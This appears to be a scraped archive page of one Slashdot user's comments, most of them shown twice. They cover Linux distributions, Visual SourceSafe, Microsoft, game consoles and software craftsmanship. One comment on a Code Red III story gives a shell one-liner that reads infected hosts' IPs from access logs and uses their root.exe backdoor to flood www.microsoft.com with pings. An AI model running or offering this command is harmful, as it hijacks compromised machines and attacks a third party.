Hmm... passwd is still in, GOOD LORD,/etc/! Where is resolv.conf? inetd.conf? hosts?/etc/ssh/sshd_config ? Yup, same place they always are.
> This is fine if you're only running GNU software that can be installed via apt-get, but I'd never consider Debian for a production environment
Who'd have thought you can install java via apt-get as well? Or wait, compile from source even? Egads!
> If I were to push any non-standard distro, it'd be Slackware simply because it just works 90% of the time
I bet that line works in the board room everytime!
> Through in an update manager like Swaret and you're set.
I'm sorry, but if you are using swaret on your company's servers, you are doing them a disservice. I find it laughable that you cannot muster a good word to say about apt-get with all the engineering put into it, yet you stand up for poorly designed substitute for package management, ie swaret.
Good thing I didn't have to pay you for your opinion.
How about Dell includes some sort of unsupported sampler bundle with differentLinux distros, FreeDOS, and anything else they could think of. Really, how much does it cost to burn a cd nowadays? If you are going through the trouble to make a FreeDOS disk, why not go the full monty and just say "Here... these are some sample operating systems you could run on our hardware, but don't call us for support".
Surely just as including an AOL disk with the PC, this couldn't get them in hot water with MSFT?
Kind of like the unsupported folder a company I used to work for would include on our software cdrom for our customers to take advantage of, saving themselves and our network bandwidth.
"You shouldn't use it for large projects. So when people still use it for large projects, it can be cumbersome and slow.
So your 'it's a total piece of shit' is way off base, or you're one of these people who cram 1.5 million lines projects in Sourcesafe and then start complaining."
blah blah... thats not a real project. If your loosy SCM cannot scale past 200k lines of code, then what good is it? Your "way off base" in this case is way off base itself.
See subject. It irritates me to no end to hear web designers (who sometimes refer to themselves as developers) call html (and/or the html generated by their favorite tool) code. HTML is markup. Like formatting a word document. Yes there is some creativity involved, but it is far from actual programming.
None of the significant players in the console gaming started out at number 2 (although you could argue that Sega did, but they always seemed to be playing catch up and look where they finally ended up).
Nintendo's NES debut (granted they only had atari, coleco,etc that where already dying) took the video game world by storm.
And then Sony. Their PS1 pretty much trounced everyone else. I was a hardened Sony detracter at the time, awaiting N64 and buying all the hype Nintendo sold. But I ended up buying a PS1 after seeing the games, and becoming tired of waiting. Out of nowhere (actually from a failed Nintendo relationship) Sony pretty much owned the console business.
Saying MS needs a 2nd and/or 3rd generation of hardware before we can really determine anything is really naive.
Your example shows that there are sometimes benefits to a rewrite, rather than just refactoring or updating the existing codebase.
Your requirements (features and design) outgrow the current application and warrant the need for a new application that encompasses the old application's functionality as well as it's name. So really you have two seperate applications that share functionality and name.
But isn't that in itself refactoring? Rewriting code, keeping the functionality of the original while improving the internals?
A quick warning... I consider myself a relative newborn in the world of software development. I present these opinions under the consideration that my opinions can change at any moment. =]
A lot of the dire predictions of software atrophy and such are a result of applying the wrong methodology to a project. Yes there are uses for Software engineering, but I think this approach is overkill for even large scale projects. Check out Software Craftsmanship: The New Imperative for a different perspective. A perspective I think is in need of serious consideration. The gist is returning to the days of master craftsman and apprenticeships. This focuses a bit more on the learning aspect than actual development methodologies, but you can always go to The Pragmatic Programmer to fill in that gap.
"As time passes, the system becomes less and less well-ordered. Sooner or later the fixing ceases to gain any ground. Each forward step is matched by a backward one. Although in principle usable forever, the system has worn out as a base for progress."
This is where "refactoring" (see Fowler's Refactoring) really shines. I find it difficult to believe that refining the software base is not progress. An initial revision where the code functions by its contract (if your into designing by contract), then you refactor the body of the function/method for speed / elegance. Then you can run your unit tests on the function / method to test that the refactoring session did not break any of the design contracts (whew).
I think they may be trying to restate the broken window theory (see Pragmatic Programmer), were a broken window (or bug) in a building (or system) leads to delapidation elsewhere in the building (or system).
And then there are the agile methods, including XP. I think these answer a lot of the limitations and issues with Software Engineering practices. Interacting with clients (having a client there during each iteration) gives you the benefit of almost real-time feedback so that you can update your user stories on the fly, etc.
Without rambling on any farther, my point is not too spend too much time looking for a specific unified theory. Read up about all the ideas, methods, and theories. Take the best parts from each, then crank the knob all the way up (if I may borrow that from XP =] ). Don't let anyone tell you there is a science to software development that is easy to reproduce, and that you are just a link in the overall chain. You practice and perform a craft. Enjoy it!
Re:Automate it with Visual Sourcesafe
on
Missing Kernel Patches
·
· Score: 2, Insightful
I would stay away from visual sourcesafe if your repositories grow beyond a normal size. We had database corruption at a former company once a week as some of our databases where getting huge.
We pushed and pushed for a change (2/3's of us wanted vanilla cvs over VS!) but management would never listen. And in fact we could not do any remote development with VS as it was not TCP aware... it only worked across MS networks (netbios). We later found another product that integrates TCP support into VS for you. But that added another point of failure for our remote developers (across the country). And those of us that preferred a unix workstation where SOL.
Basically we never used any features that make VS compelling over cvs. And its lack of support for anything but Netbios is unexcusable (especially for java developers who need that cross platform support). The parent poster has probably never used another version control system, and is just pushing MS products.
"First, despite what you may think of Microsoft, I think we can agree that comparing their "abuses" to human rights abuses is hardly fair. Microsoft bundling WMP7 with XP is hardly on a scale with bombing innocent Afghans or denying women the ability to travel freely."
I am not comparing the degree here. You cannot call bunk on something just because you are not witnessing them first hand. That is not indicative of that fact that said things are not happening to others.
"Second, you're complaining that the third party developers shouldn't be able to code things that can bring down the whole system... so you're saying that you want MS to close their operating system even more? You want the only software with access to any kind of computing power to be MS software? "
Hardly. By simply using the exposed api, the developer can crash a system outside of system level processes/space. That is laughable. Firstly, MS does not publish the api's their own developers use 100% of the time. Secondly, when these api specifications are published, it is usually after the api has already been changed. Thirdly, by this time MS already has a piece of software leading that particular market segment.
I haven't seen a registry corruption in years..., though you can't fault Microsoft for idiot third-party developers).
Ah, the classic "it doesn't happen to me"... Just because you dont see serious abuses of a persons human rights does not mean its not happening out in the rest of the world. The same goes for computer issues. Also, I would say I fault Microsoft for a system that allows 3rd party developers to write code that CAN bring down the whole system.
I do not want to even get into the "OS family" convoluted mess that is Microsoft's product line. I particularly like the following from their lifecycle page:
"Once you legally license a Microsoft Windows operating system, it is yours to use for as long as you wish."
The wording is already there...
"However, the longer you use an operating system, the less likely you will be able to take advantage of software and hardware advances that over time become mainstream in personal computers, devices, and software applications."
Why invest in a system that will be EOL'd while you are using it. As a Debian user that uses the Debian system to keep up to date as well as my own independant compiling, I cannot not imagine this.
Re:I need this like I need colonic irrigation
on
Galeon 1.0 Released
·
· Score: 1
I know exactly how you feel... for a good example of "huge Flash/Java/DHTML/pop-up-enabled masturbatory" page, you should try http://www.fileplanet.com. Every browser (short of lynx) either crashes or completely gives up before rendering a thing.
Re:Pretty devestating DoS attack in the making
on
Code Red III
·
· Score: 1
if you have the GET perl script or equiv, this might be fun:
for address in `zgrep 'default\.ida\?' access.log* |awk '{print $1}' |cut -f2 -d':'`;do GET http://$address/scripts/root.exe?/c+ping+"www.micr osoft.com"+"-t -l 4096 -i 9999";done
"I think there are a lot of people that would leave Windows behind entirely if a few more games were released in non-Windows versions."
That is complete bullshit as evident by the Macintosh platform. Mac has been around ~ as long as windows. And you can play almost all of the big time releases on Mac NOW. You cannot say "more people would leave Windows behind entirely if a few more games where release in non-Windows versions" because they have been for years.
Slashdot Mirror
> Config files are stuck where Debian wants them
/etc/! Where is resolv.conf? inetd.conf? hosts? /etc/ssh/sshd_config ? Yup, same place they always are.
Hmm... passwd is still in, GOOD LORD,
> This is fine if you're only running GNU software that can be installed via apt-get, but I'd never consider Debian for a production environment
Who'd have thought you can install java via apt-get as well? Or wait, compile from source even? Egads!
> If I were to push any non-standard distro, it'd be Slackware simply because it just works 90% of the time
I bet that line works in the board room everytime!
> Through in an update manager like Swaret and you're set.
I'm sorry, but if you are using swaret on your company's servers, you are doing them a disservice. I find it laughable that you cannot muster a good word to say about apt-get with all the engineering put into it, yet you stand up for poorly designed substitute for package management, ie swaret.
Good thing I didn't have to pay you for your opinion.
you are using gcc-3.2.... edit the make file and change CC=gcc to CC=gcc-2.95
should work like a charm thereafter
Uh, last I checked you could do the following in /etc/fstab:
/mp3 nfs defaults,user 0 0
hostname:/file_serv/mp3
I'm sure you can do the same with smbfs.
How about Dell includes some sort of unsupported sampler bundle with different Linux distros, FreeDOS, and anything else they could think of. Really, how much does it cost to burn a cd nowadays? If you are going through the trouble to make a FreeDOS disk, why not go the full monty and just say "Here... these are some sample operating systems you could run on our hardware, but don't call us for support".
Surely just as including an AOL disk with the PC, this couldn't get them in hot water with MSFT?
Kind of like the unsupported folder a company I used to work for would include on our software cdrom for our customers to take advantage of, saving themselves and our network bandwidth.
egads!
Haven't we done this before ?
Yes this is way off topic... but
"You shouldn't use it for large projects. So when people still use it for large projects, it can be cumbersome and slow.
So your 'it's a total piece of shit' is way off base, or you're one of these people who cram 1.5 million lines projects in Sourcesafe and then start complaining."
blah blah... thats not a real project. If your loosy SCM cannot scale past 200k lines of code, then what good is it? Your "way off base" in this case is way off base itself.
You can get Putty here: http://www.chiark.greenend.org.uk/~sgtatham/putty/ .
See subject. It irritates me to no end to hear web designers (who sometimes refer to themselves as developers) call html (and/or the html generated by their favorite tool) code. HTML is markup. Like formatting a word document. Yes there is some creativity involved, but it is far from actual programming.
my 2c
None of the significant players in the console gaming started out at number 2 (although you could argue that Sega did, but they always seemed to be playing catch up and look where they finally ended up).
Nintendo's NES debut (granted they only had atari, coleco,etc that where already dying) took the video game world by storm.
And then Sony. Their PS1 pretty much trounced everyone else. I was a hardened Sony detracter at the time, awaiting N64 and buying all the hype Nintendo sold. But I ended up buying a PS1 after seeing the games, and becoming tired of waiting. Out of nowhere (actually from a failed Nintendo relationship) Sony pretty much owned the console business.
Saying MS needs a 2nd and/or 3rd generation of hardware before we can really determine anything is really naive.
Your example shows that there are sometimes benefits to a rewrite, rather than just refactoring or updating the existing codebase.
Your requirements (features and design) outgrow the current application and warrant the need for a new application that encompasses the old application's functionality as well as it's name. So really you have two seperate applications that share functionality and name.
But isn't that in itself refactoring? Rewriting code, keeping the functionality of the original while improving the internals?
A quick warning... I consider myself a relative newborn in the world of software development. I present these opinions under the consideration that my opinions can change at any moment. =]
A lot of the dire predictions of software atrophy and such are a result of applying the wrong methodology to a project. Yes there are uses for Software engineering, but I think this approach is overkill for even large scale projects. Check out Software Craftsmanship: The New Imperative for a different perspective. A perspective I think is in need of serious consideration. The gist is returning to the days of master craftsman and apprenticeships. This focuses a bit more on the learning aspect than actual development methodologies, but you can always go to The Pragmatic Programmer to fill in that gap.
"As time passes, the system becomes less and less well-ordered. Sooner or later the fixing ceases to gain any ground. Each forward step is matched by a backward one. Although in principle usable forever, the system has worn out as a base for progress."
This is where "refactoring" (see Fowler's Refactoring) really shines. I find it difficult to believe that refining the software base is not progress. An initial revision where the code functions by its contract (if your into designing by contract), then you refactor the body of the function/method for speed / elegance. Then you can run your unit tests on the function / method to test that the refactoring session did not break any of the design contracts (whew).
I think they may be trying to restate the broken window theory (see Pragmatic Programmer), were a broken window (or bug) in a building (or system) leads to delapidation elsewhere in the building (or system).
And then there are the agile methods, including XP. I think these answer a lot of the limitations and issues with Software Engineering practices. Interacting with clients (having a client there during each iteration) gives you the benefit of almost real-time feedback so that you can update your user stories on the fly, etc.
Without rambling on any farther, my point is not too spend too much time looking for a specific unified theory. Read up about all the ideas, methods, and theories. Take the best parts from each, then crank the knob all the way up (if I may borrow that from XP =] ). Don't let anyone tell you there is a science to software development that is easy to reproduce, and that you are just a link in the overall chain. You practice and perform a craft. Enjoy it!
I would stay away from visual sourcesafe if your repositories grow beyond a normal size. We had database corruption at a former company once a week as some of our databases where getting huge.
We pushed and pushed for a change (2/3's of us wanted vanilla cvs over VS!) but management would never listen. And in fact we could not do any remote development with VS as it was not TCP aware... it only worked across MS networks (netbios). We later found another product that integrates TCP support into VS for you. But that added another point of failure for our remote developers (across the country). And those of us that preferred a unix workstation where SOL.
Basically we never used any features that make VS compelling over cvs. And its lack of support for anything but Netbios is unexcusable (especially for java developers who need that cross platform support). The parent poster has probably never used another version control system, and is just pushing MS products.
"First, despite what you may think of Microsoft, I think we can agree that comparing their "abuses" to human rights abuses is hardly fair. Microsoft bundling WMP7 with XP is hardly on a scale with bombing innocent Afghans or denying women the ability to travel freely."
I am not comparing the degree here. You cannot call bunk on something just because you are not witnessing them first hand. That is not indicative of that fact that said things are not happening to others.
"Second, you're complaining that the third party developers shouldn't be able to code things that can bring down the whole system... so you're saying that you want MS to close their operating system even more? You want the only software with access to any kind of computing power to be MS software? "
Hardly. By simply using the exposed api, the developer can crash a system outside of system level processes/space. That is laughable. Firstly, MS does not publish the api's their own developers use 100% of the time. Secondly, when these api specifications are published, it is usually after the api has already been changed. Thirdly, by this time MS already has a piece of software leading that particular market segment.
I haven't seen a registry corruption in years ..., though you can't fault Microsoft for idiot third-party developers).
Ah, the classic "it doesn't happen to me"... Just because you dont see serious abuses of a persons human rights does not mean its not happening out in the rest of the world. The same goes for computer issues. Also, I would say I fault Microsoft for a system that allows 3rd party developers to write code that CAN bring down the whole system.
I do not want to even get into the "OS family" convoluted mess that is Microsoft's product line. I particularly like the following from their lifecycle page:
"Once you legally license a Microsoft Windows operating system, it is yours to use for as long as you wish."
The wording is already there...
"However, the longer you use an operating system, the less likely you will be able to take advantage of software and hardware advances that over time become mainstream in personal computers, devices, and software applications."
Why invest in a system that will be EOL'd while you are using it. As a Debian user that uses the Debian system to keep up to date as well as my own independant compiling, I cannot not imagine this.
I know exactly how you feel... for a good example of "huge Flash/Java/DHTML/pop-up-enabled masturbatory" page, you should try http://www.fileplanet.com. Every browser (short of lynx) either crashes or completely gives up before rendering a thing.
"I think there are a lot of people that would leave Windows behind entirely if a few more games were released in non-Windows versions." That is complete bullshit as evident by the Macintosh platform. Mac has been around ~ as long as windows. And you can play almost all of the big time releases on Mac NOW. You cannot say "more people would leave Windows behind entirely if a few more games where release in non-Windows versions" because they have been for years.